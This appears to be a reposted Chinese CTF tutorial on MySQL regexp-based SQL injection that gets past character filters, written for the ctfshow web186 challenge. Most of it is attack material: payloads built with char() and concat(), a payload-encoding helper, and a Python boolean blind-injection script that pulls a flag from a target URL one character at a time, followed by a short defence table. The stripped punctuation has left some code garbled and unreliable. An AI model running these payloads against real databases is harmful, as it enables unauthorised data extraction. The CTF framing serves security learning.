从正则表达式到SQL注入:探索regexp在CTF中的巧妙应用
正则表达式在CTF中的高阶SQL注入实战1. 正则表达式与SQL注入的奇妙结合在CTF比赛中正则表达式regexp与SQL注入的结合往往能产生意想不到的效果。当传统注入手段被过滤时regexp函数常成为突破防线的一把利剑。regexp的核心优势在于绕过常规字符过滤如引号、等号实现无回显场景下的布尔盲注处理特殊字符拼接问题一个典型的应用场景是web186题目当^符号被过滤时我们可以通过以下方式构造payloadtableNamectfshow_user group by pass having pass regexp(concat(char(94),char(99)))这里char(94)对应ASCII码的^符号char(99)对应字母c实现了锚点字符的拼接。2. 字符构造的三大核心技巧2.1 无引号字符串构造当引号被过滤时CTF选手常用的解决方案char()函数转换def convert_to_char(s): return ,.join(fchar({ord(c)}) for c in s)布尔值拼接数字truetruetrue -- 等价于数字3十六进制表示法0x636466 -- 等价于cdf2.2 正则锚点的替代方案当常见锚点符号被过滤时可以考虑原始符号替代方案示例^\A\A开头匹配$\Z结尾匹配\Z.[\s\S]匹配任意字符实战案例-- 替代^ctfshow{ regexp(concat(char(92),char(65)),ctfshow{)2.3 布尔盲注与正则匹配通过正则匹配实现布尔盲注的基本原理if(pass regexp(^ctfshow{.*}$),1,0)当配合group by和having使用时可以构造出精妙的盲注条件select * from users group by pass having pass regexp(concat(^,(select mid(flag,1,1) from flag_table)))3. 突破过滤限制的实战方案3.1 concat函数的深度应用当关键字符被过滤时concat函数成为字符串拼接的核心工具。一个典型的转换函数实现def convert_payload(original): parts [] for char in original: if char.isdigit(): parts.append(fchar({.join([true]*int(char))})) else: parts.append(fchar({.join([true]*(ord(char)))})) return fconcat({,.join(parts)})应用示例-- 原始payload regexp(^ctfshow) -- 转换后 regexp(concat(char(94),char(99),char(116),char(102),char(115),char(104),char(111),char(119)))3.2 自动化注入脚本开发针对web186题目的自动化注入脚本示例import requests import string url http://target.com/select-waf.php charset string.digits abcdef-{} flag for i in range(1, 45): for char in charset: payload f concat( char(truetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetrue), char(truetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetruetrue) ) data { tableName: fctfshow_user group by pass having pass regexp({payload}) } r requests.post(url, datadata) if user_count 1 in r.text: flag char print(flag) if char }: exit() break4. 高级绕过技术与防御策略4.1 非常规正则语法应用当标准正则语法被过滤时可以考虑POSIX字符类[[::]]word[[::]] -- 单词边界匹配反向引用(.)\1 -- 匹配重复字符非捕获组(?:pattern) -- 匹配但不捕获4.2 防御方案对比攻击技术常规防御进阶防御正则注入过滤regexp使用白名单校验字符拼接过滤concat参数化查询布尔盲注错误信息屏蔽请求频率限制提示在实际CTF比赛中往往需要组合多种技术。例如将regexp与benchmark函数结合实现时间盲注或配合rlike函数实现更复杂的匹配逻辑。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2424373.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!